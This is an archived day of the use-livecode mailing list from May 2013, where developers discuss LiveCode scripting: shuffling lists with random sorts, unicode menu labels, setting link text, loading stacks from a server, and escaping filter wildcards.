http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From michael-kristensen at dsa-net.dk Thu May 23 04:07:49 2013 From: michael-kristensen at dsa-net.dk (Michael Kristensen) Date: Thu, 23 May 2013 10:07:49 +0200 Subject: scrolling stack I made In-Reply-To: References: Message-ID: Runrev has promised subpixel placement in a future update Mic > > Here it is adapted to use the array again. It's too bad (for this) that the > loc can't use a fractional value and just work. From Hakan at Exformedia.se Thu May 23 04:10:39 2013 From: Hakan at Exformedia.se (Hakan at Exformedia.se) Date: Thu, 23 May 2013 10:10:39 +0200 Subject: UnicodeLabel & pulldown menu trouble In-Reply-To: <1856CC96-8FEB-4EB1-8C65-5E83EBC7BA3F@kenjikojima.com> References: <1856CC96-8FEB-4EB1-8C65-5E83EBC7BA3F@kenjikojima.com> Message-ID: What's your problem? You get a unicode answer back if you have unicode label. Try this: 1. Create a menu button with unicode labels 2. create a new text field and name it "result" 3. Put the following code on the menu button: on menuPick pItemName set the unicodeText of field "result" to pItemName end menuPick ___________________________ http://www.exformedia.se Check out my new iOS game at http://appstore.com/swapatiswap 20 maj 2013 kl. 21:00 skrev index at kenjikojima.com: > Hi, > > When I set an unicode label of pulldown menu. I cannot get a menu item. > > -- > Kenji Kojima / ???? > http://www.kenjikojima.com/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dick.kriesel at mail.com Thu May 23 04:24:03 2013 From: dick.kriesel at mail.com (Dick Kriesel) Date: Thu, 23 May 2013 01:24:03 -0700 Subject: Random sort demonstration In-Reply-To: <6F309B18-56BD-4965-A80E-509936774345@unil.ch> References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> <6F309B18-56BD-4965-A80E-509936774345@unil.ch> Message-ID: On May 23, 2013, at 12:41 AM, Jacques Hausser wrote: > and something like > > "scramble lines of myVar", instead of "sort lines of myVar random(xxx)". Could be a command using the same function behind the scene, with the max integer as parameter to avoid prevalence of "the first" in the case of repetitions. And it is semantically clearer than "sort random". Good idea, Jacques. How about this? command shuffle @rLines sort rLines by random( 4294967295 ) -- note: 2^32-1 end shuffle -- Dick From michael_livecode at nayyan.com Thu May 23 04:38:09 2013 From: michael_livecode at nayyan.com (Michael Mays) Date: Thu, 23 May 2013 16:38:09 +0800 Subject: randomly order a list In-Reply-To: <2C9542F4-4104-4A47-BA5A-12647B0D0993@nayyan.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <2C9542F4-4104-4A47-BA5A-12647B0D0993@nayyan.com> Message-ID: I made a typo: delete line random_line_number of the_lines should be delete line random_line_number of some_lines (see below) Sorry, Michael On May 23, 2013, at 12:07 PM, Michael Mays wrote: > As I understand the sort command the syntax is something like: > sort this_group _of_thing by the _text _values_in _this _other_thing > so what it seems like to me is that Randy is saying > sort the_lines_in_this_thing by either_1_or_2_or_3 > In other words the lines are being sorted by a constant: 1 or 2 or 3. And since lines of a container are being sorted, shouldn't the sort key be some part of each line being sorted?? > > I don't think the sort command is what Randy needs. He needs a shuffle function: > > on mouseUp > put "cat" into line 1 of my_lines > put "rat" into line 2 of my_lines > put "dog" into line 3 of my_lines > put Shuffle_The_Lines(my_lines) into my_shuffled_lines > put my_shuffled_lines > end mouseUp > > function Shuffle_The_Lines some_lines > repeat with counter = number of lines in some_lines down to 1 > put (random (counter)) into random_line_number > put line random_line_number of some_lines into random_line > put random_line into line counter of shuffled_lines HERE > delete line random_line_number of the_lines > end repeat > return shuffled_lines > end Shuffle_The_Lines > > Michael > On May 23, 2013, at 1:59 AM, Chris Sheffield wrote: > >> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >> >> sort lines of myVar by random(the number of lines of myVar) >> >> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >> >> So does anyone have a good way to do this? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacques.hausser at unil.ch Thu May 23 05:05:16 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 23 May 2013 11:05:16 +0200 Subject: Random sort demonstration In-Reply-To: References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> <6F309B18-56BD-4965-A80E-509936774345@unil.ch> Message-ID: Yes shuffle is better - a penchant for gambling instead of a taste of eggs ;-) Jacques Le 23 mai 2013 ? 10:24, Dick Kriesel a ?crit : > > On May 23, 2013, at 12:41 AM, Jacques Hausser wrote: > >> and something like >> >> "scramble lines of myVar", instead of "sort lines of myVar random(xxx)". Could be a command using the same function behind the scene, with the max integer as parameter to avoid prevalence of "the first" in the case of repetitions. And it is semantically clearer than "sort random". > > > Good idea, Jacques. How about this? > > command shuffle @rLines > sort rLines by random( 4294967295 ) -- note: 2^32-1 > end shuffle > > -- Dick > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode ****************************************** Prof. Jacques Hausser Department of Ecology and Evolution Biophore / Sorge University of Lausanne CH 1015 Lausanne please use my private address: 6 route de Burtigny CH-1269 Bassins tel: ++ 41 22 366 19 40 mobile: ++ 41 79 757 05 24 E-Mail: jacques.hausser at unil.ch ******************************************* From toolbook at kestner.de Thu May 23 05:15:02 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Thu, 23 May 2013 11:15:02 +0200 Subject: Can I set the linktext with the editor? Message-ID: <003801ce5796$023dd280$06b97780$@de> Hello, I know, how to set the textstyle "link" and the linktext by script, but don't succeed in setting it manually in the property editor of a field. I can't even select a single word or text chunk of a field with the pointer tool. It seems that I have never had the need of it up to now. How can I set links in a text field manually? What am I missing? Thanks Tiemo From richmondmathewson at gmail.com Thu May 23 05:27:18 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 23 May 2013 12:27:18 +0300 Subject: Can I set the linktext with the editor? In-Reply-To: <003801ce5796$023dd280$06b97780$@de> References: <003801ce5796$023dd280$06b97780$@de> Message-ID: <519DE0F6.1060509@gmail.com> On 05/23/2013 12:15 PM, Tiemo Hollmann TB wrote: > Hello, > > I know, how to set the textstyle "link" and the linktext by script, but > don't succeed in setting it manually in the property editor of a field. I > can't even select a single word or text chunk of a field with the pointer > tool. It seems that I have never had the need of it up to now. > > How can I set links in a text field manually? What am I missing? > > Thanks > > Tiemo > > > Well, this is how I did 'it': I set up a stack containing a single field containing the text: raspberry flavoured coffee is not much better than black tea flavoured beer and, wishing to set 'black tea' to linkText manually, I went into 'Browse' mode, selected 'black tea' with my mouse, and then set that to 'Link' by using the drop-down 'Text' menu in the menuBar. Dead easy. Richmond. From th.douez at gmail.com Thu May 23 05:40:25 2013 From: th.douez at gmail.com (Thierry Douez) Date: Thu, 23 May 2013 11:40:25 +0200 Subject: Can I set the linktext with the editor? In-Reply-To: <003801ce5796$023dd280$06b97780$@de> References: <003801ce5796$023dd280$06b97780$@de> Message-ID: Hallo Tiemo, Well, select the text you want to link, then Menu Text -> link and it should work. HTH, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage 2013/5/23 Tiemo Hollmann TB > Hello, > > I know, how to set the textstyle "link" and the linktext by script, but > don't succeed in setting it manually in the property editor of a field. I > can't even select a single word or text chunk of a field with the pointer > tool. It seems that I have never had the need of it up to now. > > How can I set links in a text field manually? What am I missing? > > Thanks > > Tiemo > From toolbook at kestner.de Thu May 23 06:07:48 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Thu, 23 May 2013 12:07:48 +0200 Subject: AW: Can I set the linktext with the editor? In-Reply-To: References: <003801ce5796$023dd280$06b97780$@de> Message-ID: <004501ce579d$611485e0$233d91a0$@de> So stupid, I trapped my own mouse events in browse mode, that?s why I stumbled. Thanks for your hints Richmond and Thierry And is there also a standard procedure to set the linktext manually? Tiemo > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Thierry Douez > Gesendet: Donnerstag, 23. Mai 2013 11:40 > An: How to use LiveCode > Betreff: Re: Can I set the linktext with the editor? > > Hallo Tiemo, > > Well, select the text you want to link, then Menu Text -> link > > and it should work. > > HTH, > > Thierry > > > ------------------------------------------------ > Thierry Douez - http://sunny-tdz.com > Maker of sunnYperl - sunnYmidi - sunnYmage > > > 2013/5/23 Tiemo Hollmann TB > > > Hello, > > > > I know, how to set the textstyle "link" and the linktext by script, > > but don't succeed in setting it manually in the property editor of a > > field. I can't even select a single word or text chunk of a field with > > the pointer tool. It seems that I have never had the need of it up to > now. > > > > How can I set links in a text field manually? What am I missing? > > > > Thanks > > > > Tiemo > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From index at kenjikojima.com Thu May 23 06:18:12 2013 From: index at kenjikojima.com (index at kenjikojima.com) Date: Thu, 23 May 2013 06:18:12 -0400 Subject: UnicodeLabel & pulldown menu trouble In-Reply-To: References: <1856CC96-8FEB-4EB1-8C65-5E83EBC7BA3F@kenjikojima.com> Message-ID: <3FADAD2D-54A4-49B1-93B1-C862A35C6AC3@kenjikojima.com> Hankan, Thanks a reply. I was having switch unicode problem. on menuPick pItemName switch pItemName case uniencode("Choice 1") set the unicodeText of fld 1 to uniencode("Choice 1") break case uniencode("Choice 2") set the unicodeText of fld 1 to uniencode("Choice 2") break case uniencode("Choice 3") set the unicodeText of fld 1 to uniencode("Choice 3") break end switch end menuPick Best, -- Kenji Kojima / ???? http://www.kenjikojima.com/ On May 23, 2013, at 4:10 AM, Hakan at Exformedia.se wrote: > What's your problem? > > You get a unicode answer back if you have unicode label. Try this: > 1. Create a menu button with unicode labels > 2. create a new text field and name it "result" > 3. Put the following code on the menu button: > > on menuPick pItemName > set the unicodeText of field "result" to pItemName > end menuPick > > ___________________________ > http://www.exformedia.se > Check out my new iOS game at http://appstore.com/swapatiswap > > 20 maj 2013 kl. 21:00 skrev index at kenjikojima.com: > >> Hi, >> >> When I set an unicode label of pulldown menu. I cannot get a menu item. >> >> -- >> Kenji Kojima / ???? >> http://www.kenjikojima.com/ >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rman at free.fr Thu May 23 06:49:26 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 03:49:26 -0700 (PDT) Subject: start using stack In-Reply-To: References: Message-ID: <1369306166451-4665284.post@n4.nabble.com> Hi interested too by this way to load stacks.. but I cannot get it to work on my on-rev server : I get a "stack is corrupted, check for ~ backup file" Am i the only one? - the file is accessible with 755 rights set to it and its parent folder within the on-rev space, - i can reach the file ok with my browser and get as a result "REVO5500" - no folder protection - I tried with all my versions 5.5. and 6lc, and tried to save them as 2.7 (I have 3 test files) and then I re-created full virgin stacks from 6 lc; - I tried with empty stacks, with or without fields as I know that can bang the server, and also just one image or one drawing (which works all right on the server for me). - th're uploaded via Interachy, - I test both via msg box and a test stack that makes the call and return result. Just.. corrupted!! gr! If someone has an idea where the trick is!? thanks! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665284.html Sent from the Revolution - User mailing list archive at Nabble.com. From alex at tweedly.net Thu May 23 06:56:00 2013 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 23 May 2013 11:56:00 +0100 Subject: start using stack In-Reply-To: <1369306166451-4665284.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> Message-ID: <519DF5C0.5050902@tweedly.net> It's all too easy to have a file be corrupted when ftp-ing it by inadvertently using the wrong mode, so I'd start by checking that the stack was copied in binary mode, while the .lc (or whatever) file was copied as text mode. If that doesn't help, then I'd be happy to try the same files on my on-rev server; email me the .lc and the stack file you are having trouble with (i.e. the small test ones - not your real stack :-) and I'll try them out -- alex at tweedly.net -- Alex. On 23/05/2013 11:49, Robert Mann wrote: > Hi interested too by this way to load stacks.. but I cannot get it to work on > my on-rev server : > I get a "stack is corrupted, check for ~ backup file" > Am i the only one? > > - the file is accessible with 755 rights set to it and its parent folder > within the on-rev space, > - i can reach the file ok with my browser and get as a result "REVO5500" > - no folder protection > - I tried with all my versions 5.5. and 6lc, and tried to save them as 2.7 > (I have 3 test files) and then I re-created full virgin stacks from 6 lc; > - I tried with empty stacks, with or without fields as I know that can bang > the server, and also just one image or one drawing (which works all right on > the server for me). > - th're uploaded via Interachy, > - I test both via msg box and a test stack that makes the call and return > result. > > Just.. corrupted!! gr! > If someone has an idea where the trick is!? > thanks! > > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665284.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dixonja at hotmail.co.uk Thu May 23 07:28:31 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 23 May 2013 12:28:31 +0100 Subject: start using stack In-Reply-To: <519DF5C0.5050902@tweedly.net> References: , , , , , <1369306166451-4665284.post@n4.nabble.com>, <519DF5C0.5050902@tweedly.net> Message-ID: The stack that you are going to use on your on-rev server... save it in legacy format... that seems to do the trick ! > Date: Thu, 23 May 2013 11:56:00 +0100 > From: alex at tweedly.net > To: use-livecode at lists.runrev.com > Subject: Re: start using stack > > It's all too easy to have a file be corrupted when ftp-ing it by > inadvertently using the wrong mode, so I'd start by checking that the > stack was copied in binary mode, while the .lc (or whatever) file was > copied as text mode. > > If that doesn't help, then I'd be happy to try the same files on my > on-rev server; email me the .lc and the stack file you are having > trouble with (i.e. the small test ones - not your real stack :-) and > I'll try them out -- alex at tweedly.net > > -- Alex. > > > On 23/05/2013 11:49, Robert Mann wrote: > > Hi interested too by this way to load stacks.. but I cannot get it to work on > > my on-rev server : > > I get a "stack is corrupted, check for ~ backup file" > > Am i the only one? > > > > - the file is accessible with 755 rights set to it and its parent folder > > within the on-rev space, > > - i can reach the file ok with my browser and get as a result "REVO5500" > > - no folder protection > > - I tried with all my versions 5.5. and 6lc, and tried to save them as 2.7 > > (I have 3 test files) and then I re-created full virgin stacks from 6 lc; > > - I tried with empty stacks, with or without fields as I know that can bang > > the server, and also just one image or one drawing (which works all right on > > the server for me). > > - th're uploaded via Interachy, > > - I test both via msg box and a test stack that makes the call and return > > result. > > > > Just.. corrupted!! gr! > > If someone has an idea where the trick is!? > > thanks! > > > > > > > > > > -- > > View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665284.html > > Sent from the Revolution - User mailing list archive at Nabble.com. > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From michael_livecode at nayyan.com Thu May 23 07:36:48 2013 From: michael_livecode at nayyan.com (Michael Mays) Date: Thu, 23 May 2013 19:36:48 +0800 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Message-ID: No it is 3 factorial. Jacques and Craig and I are right. This is picking without replacement, not picking with replacement. The first answer position has three choices. Once you pick it the second answer position has 2 and the final position 1 option left. To get 27 options means you have answer sheets where the first answer is option 3, you return option 3 to the list and the second answer is option 3 and you return option 3 to the list and the third question is option three and other such. Sort by defaults to an ordering which makes sense in these cases making it look like you have a right answer ordering. Michael On May 23, 2013, at 12:20 PM, Dar Scott wrote: > Easy mistake to make, Jacques, but it is not 3!. > > Random() emulates independent random numbers. It cannot avoid numbers returned before in the sort. Each line will get a randomly assigned number independent of the other lines. > > The number of ways 3 lines can be ordered does not apply. > > Each line will be assigned a number by random(). So it is possible that the first line will be assigned a 2 and the other lines assigned 2, also. The probability of that is one out of 3^3. (Not three factorial) > > You can create a function to log the assignments and use that as the comparison metric function. You can see the assignments, and different lines can have the same value. > > Each sort will get a random pattern of 1, 2 and 3. There are 27 of them. > > Fourteen of them will cause a sort with the first line coming first again. That is 52%, not 33%. > > You can write code to sort the same starting string a thousand times and the same first line will show up 52% of the time, not 33%. > > Dar > > On May 22, 2013, at 6:16 PM, Jacques Hausser wrote: > From rman at free.fr Thu May 23 08:20:14 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 05:20:14 -0700 (PDT) Subject: start using stack In-Reply-To: <519DF5C0.5050902@tweedly.net> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> Message-ID: <1369311614823-4665288.post@n4.nabble.com> Thanks for the warning, I re-checked as following :-- tried to upLoad as txt, bin or mapped-- then checked by launching the stacks from Interarchy, with the open with option i regularly use for working with stack files on on-rev.=> indeed the save as txt format proved.. bad! crashes LC6 on load such a file!The standard mode save with "file mapping" of Interachy does save stacks in binary mode on the server, so that is fine.There may be something though : when I try to get to a stack saved in the wrong "txt" mode with the go stack URL command, i get the msg "stack is corrupted" instead of "Hi you crashed me on the server!!" msg!Could there be a problem somewhere with mime type?here are 2 test stacks i use : drawings.livecode images.livecode and the testing one : goStackURL.livecode I also re-tested the save in legacy format, but does not help.And checked if there was an appleEvent call with contribution from jan Schenkel [apple Event & path normalizer routine] But no apple Event seem to fire up.(I remembered there was a problem with apple leopard - and YES i'm using LEOPARD 10.7.4) [file opening bug on max os x and rev 4.0] ?? -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665288.html Sent from the Revolution - User mailing list archive at Nabble.com. From janschenkel at yahoo.com Thu May 23 08:29:33 2013 From: janschenkel at yahoo.com (Jan Schenkel) Date: Thu, 23 May 2013 05:29:33 -0700 (PDT) Subject: Escaping the Filter command's wildcards In-Reply-To: References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> <519D6BE8.1070209@researchware.com> Message-ID: <1369312173.17990.YahooMailNeo@web141102.mail.bf1.yahoo.com> There has been an enhancement request in the quality center for a few years now. But now that it's all open source, we can do these changes ourselves. It looks like it can be accomplished by modifying just a single file: cmdsf.cpp Maybe we should have a discussion on the engine forum to see who wants to take this on. To prevent breaking existing scripts, I'd suggest as syntax: filter matching (which means we'd have to add a keyword 'matching' to the language but that shouldn't be too hard either) Anyway, open up the discussion on the engine forum :-) Cheers, Jan Schenkel. ===== Quartam Reports & PDF Library for LiveCode www.quartam.com ===== "As we grow older, we grow both wiser and more foolish at the same time." (La Rochefoucauld) ----- Original Message ----- From: Peter Haworth To: How to use LiveCode Cc: Sent: Thursday, May 23, 2013 3:30 AM Subject: Re: Escaping the Filter command's wildcards I do find it strange that filter doesn't support full regexp syntax, seems like RunRev would have had to write special code instead of using standard regexp libraries which they use in other commands Shouldn't be too difficult to write a myFilter function that supports full regexp syntax using a repeat loop and matchText but we shouldn't really have to take the time to do that. Pete lcSQL Software On Wed, May 22, 2013 at 6:07 PM, Paul Dupuis wrote: > On 5/22/2013 8:32 PM, Mark Schonewille wrote: > > Hi Paul, > > > > I see what you mean. You weren't looking for a solution, just for more > > trouble :-) > > > > I tried several special characters and they can all be used to filter > > lines with the same workaround. Unfortunately, many of those special > > characters have no effect, because regex isn't fully supported by the > > filter command, as Pete mentioned already. Therefore I wonder why we > > need to escape the question mark. That seems inconsistent to me. > > Since ?, *, [, and ] are used as special characters, it is possible, > thought unlikely, to need to escape any or all of them in the pattern to > actually filter on those characters. > > It turns out you can escape ? and * by using [?] or [*] which treats the > character in the bracket as a character to me matched rather than a > wildcard. I have not explored how it may be possible to escape the brackets > > Of course, you could do some pre-processing of the source data to > replace those characters with some token that is guaranteed not to be in > the source text, then apply the filter and then replace the token(s) > with the original characters, so there are always a work-around in code. > > I was mostly wondering if there was an 'undocumented' escape character > others on the list had found but no one bothered to add a not to the > dictionary for. However, I guess that is not the case. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Thu May 23 09:20:05 2013 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 23 May 2013 14:20:05 +0100 Subject: start using stack In-Reply-To: <1369311614823-4665288.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> Message-ID: <519E1785.3080202@tweedly.net> OK, I have to confess I'm confused :-( I thought you were trying to run a script on LC server (on-rev) and having trouble getting "start using stack" to work. But the testing stack below is actually a desktop stack which does a "go stack URL ..." ?? So - if the rest of this reply is misguided - let's step back and describe the problem & stacks in question again. Anyway - the problem with this test stack ( goStackURL.livecode ) is .... ON mouseUp put empty into field "info" of this card go stack URL field "target" of this card in a new window put the result into field "info" of this card END mouseUp but currently (i.e. as downloaded) the field "target" is empty. I copy/pasted the name of the URL you mentioned http://runtime-revolution.278305.n4.nabble.com/file/n4665288/drawings.livecode into the field, and it then works OK - the drawings stack is downloaded and run in my IDE. BTW - there is then a problem with put the result into field "info" of this card I think that's a problem because "this card" is not clear just after the "go stack" - not entirely sure about that. -- Alex. On 23/05/2013 13:20, Robert Mann wrote: > Thanks for the warning, I re-checked as following :-- tried to upLoad as txt, > bin or mapped-- then checked by launching the stacks from Interarchy, with > the open with option i regularly use for working with stack files on > on-rev.=> indeed the save as txt format proved.. bad! crashes LC6 on load > such a file!The standard mode save with "file mapping" of Interachy does > save stacks in binary mode on the server, so that is fine.There may be > something though : when I try to get to a stack saved in the wrong "txt" > mode with the go stack URL command, i get the msg "stack is corrupted" > instead of "Hi you crashed me on the server!!" msg!Could there be a problem > somewhere with mime type?here are 2 test stacks i use : drawings.livecode > > images.livecode > > and the testing one : goStackURL.livecode > > I also re-tested the save in legacy format, but does not help.And checked if > there was an appleEvent call with contribution from jan Schenkel [apple > Event & path normalizer routine] > > But no apple Event seem to fire up.(I remembered there was a problem with > apple leopard - and YES i'm using LEOPARD 10.7.4) [file opening bug on max > os x and rev 4.0] > > ?? > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665288.html > Sent from the Revolution - User mailing list archive at Nabble.com. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From klaus at major-k.de Thu May 23 09:38:21 2013 From: klaus at major-k.de (Klaus major-k) Date: Thu, 23 May 2013 15:38:21 +0200 Subject: start using stack In-Reply-To: <519E1785.3080202@tweedly.net> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> Message-ID: <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> Hi Alex, Am 23.05.2013 um 15:20 schrieb Alex Tweedly : > OK, I have to confess I'm confused :-( > > I thought you were trying to run a script on LC server (on-rev) and having trouble getting "start using stack" to work. > > But the testing stack below is actually a desktop stack which does a "go stack URL ..." ?? > So - if the rest of this reply is misguided - let's step back and describe the problem & stacks in question again. > > Anyway - the problem with this test stack ( goStackURL.livecode ) is .... > > ON mouseUp > put empty into field "info" of this card > go stack URL field "target" of this card in a new window > put the result into field "info" of this card > END mouseUp > > but currently (i.e. as downloaded) the field "target" is empty. I copy/pasted the name of the URL you mentioned > > http://runtime-revolution.278305.n4.nabble.com/file/n4665288/drawings.livecode > > into the field, and it then works OK - the drawings stack is downloaded and run in my IDE. > > BTW - there is then a problem with > put the result into field "info" of this card > > I think that's a problem because "this card" is not clear just after the "go stack" - not entirely sure about that. Yep, after you "go stack URL xyz" THAT stack is the defaultstack and thus field "info" will be presumed to be on the current (first) card of the "online" stack. So you will need 1. to set the defautlstack back to the "calling" stack before putting THE RESULT into fld "info" or 2. do something like this: ON mouseUp put empty into field "info" of this card put the long ID of fld "info" of this cd into tInfoFieldID go stack URL field "target" of this card in a new window put the result into tInfoFieldID END mouseUp > -- Alex. Best Klaus -- Klaus Major http://www.major-k.de klaus at major-k.de From dsc at swcp.com Thu May 23 09:45:00 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 07:45:00 -0600 Subject: Random sort demonstration In-Reply-To: <6F309B18-56BD-4965-A80E-509936774345@unil.ch> References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> <6F309B18-56BD-4965-A80E-509936774345@unil.ch> Message-ID: What sort does is very general. At first it looks like you put a chunk selector after 'by' in sort. Then we see things like random(999999). That can be confusing. What goes after 'by' is any expression. We can call it blah-blay-blah-maybe-including-each. We might imagine this function being created temporarily for blah-blah-maybe-including-each: function metric each return blah-blah-blah-maybe-including-each end metric And example might be 'length(each)' which becomes this: function metric each return length(each) end metric (I'm not sure if metric is the right word.) The function is applied to each sort chunk (say, item or line) and that value is used for sorting. As I did in my script, one can even put in a custom function! So, you can do things like sort students by height even if height is not in the data being sorted. Dar On May 23, 2013, at 1:41 AM, Jacques Hausser wrote: > Thanks, Dar, now I understand ! > > Till yesterday evening, I always used the numeric result of random(tUpperlimit) to "de-sort" chunks of text, being not aware of the use of function's combination like "sort lines of [?] random(xxx)". > ? and at least my scripts worked exactly as I expected ! > > IMHO, the two uses of "random" arequite different and should be clearly distinguished in the language. > > "put random(tUpperLimit) into tRanVar" -- OK, this is standard > > and something like > > "scramble lines of myVar", instead of "sort lines of myVar random(xxx)". Could be a command using the same function behind the scene, with the max integer as parameter to avoid prevalence of "the first" in the case of repetitions. And it is semantically clearer than "sort random". > > Meanwhile, it should be useful to put an user note in the dictionary clarifying the process. A vous l'honneur ! > > Jacques > > > > Le 23 mai 2013 ? 08:08, Dar Scott a ?crit : > >> This script demonstrates what is going on with random sorts of short lists using this: >> >> sort items of myVar by random( the number of items of myVar) >> >> This is a button script on a stack with a wide field with a scrollbar. >> >> local lineAssignments >> >> on mouseUp >> set the cursor to watch >> put empty into field 1 >> put "a,b,c" into original >> put 0 into numFirstSame >> put 100 into trials >> repeat trials times >> put original into myVar >> put empty into lineAssignments >> sort items of myVar by randomLog( the number of items of myVar, each) >> delete char -1 of lineAssignments >> put "(" & original & ") is assigned (" & lineAssignments & ") and sorted as (" & myVar & ") where the" after field 1 >> if (item 1 of original) is (item 1 of myVar) then >> put " first is same" after field 1 >> add 1 to numFirstSame >> else >> put " first is different" after field 1 >> end if >> put return after field 1 >> end repeat >> put round( (numFirstSame/trials) * 100) into percentSame >> put "The first was the same " & percentSame & "% of the time" after field 1 >> set the scroll of field 1 to 999999 >> end mouseUp >> >> function randomLog pRange, pEach >> get random(pRange) >> put pEach & "->" & it & comma after lineAssignments >> return it >> end randomLog >> >> Note that this uses function randomLog() instead of random() so the assignments can be gleamed. >> >> These are the last few lines of a typical output: >> >> (a,b,c) is assigned (a->3,b->2,c->2) and sorted as (b,c,a) where the first is different >> (a,b,c) is assigned (a->1,b->2,c->2) and sorted as (a,b,c) where the first is same >> (a,b,c) is assigned (a->1,b->2,c->1) and sorted as (a,c,b) where the first is same >> (a,b,c) is assigned (a->2,b->2,c->3) and sorted as (a,b,c) where the first is same >> The first was the same 53% of the time >> >> I got percentages in the range 45% to 60%. My theory (other email) predicted 52 percent. You can try upping the number of trials and commenting out the per-sort lines, and see what you get. >> >> The problem is equality in the sort. It keeps the same order in comparison of pairs of items. For example, the items sorted in the last case above as though they were 2,2,3. The first item is still first. >> >> So... >> >> Use large values for the argument to random() in random sorts. >> >> Dar >> >> >> >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Thu May 23 09:51:12 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 23 May 2013 06:51:12 -0700 Subject: Random sort demonstration 